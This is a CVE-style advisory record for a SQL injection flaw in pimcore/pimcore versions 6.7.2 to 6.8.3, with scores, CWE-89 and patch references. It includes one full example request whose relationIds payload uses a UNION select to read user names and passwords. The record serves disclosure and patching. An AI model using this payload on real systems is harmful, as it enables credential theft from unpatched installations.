Description
The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{"keyId"%3a"''","groupId"%3a"'asd'))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,'',11,12,'',14+from+users)+--+"}]
References (2)
Core 2
Core References
Broken Link, Third Party Advisory x_refsource_misc
https://snyk.io/vuln/SNYK-PHP-PIMCOREPIMCORE-1017405
Patch, Third Party Advisory x_refsource_misc
https://github.com/pimcore/pimcore/pull/7315
Scores
CVSS v3
6.5
EPSS
0.0135
EPSS Percentile
68.2%
Attack Vector
NETWORK
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:H
Details
CWE
CWE-89
Status
published
Products (2)
pimcore/pimcore
6.7.2 - 6.8.3
pimcore/pimcore
6.7.2 - 6.8.3Packagist
Published
Oct 30, 2020
Tracked Since
Feb 18, 2026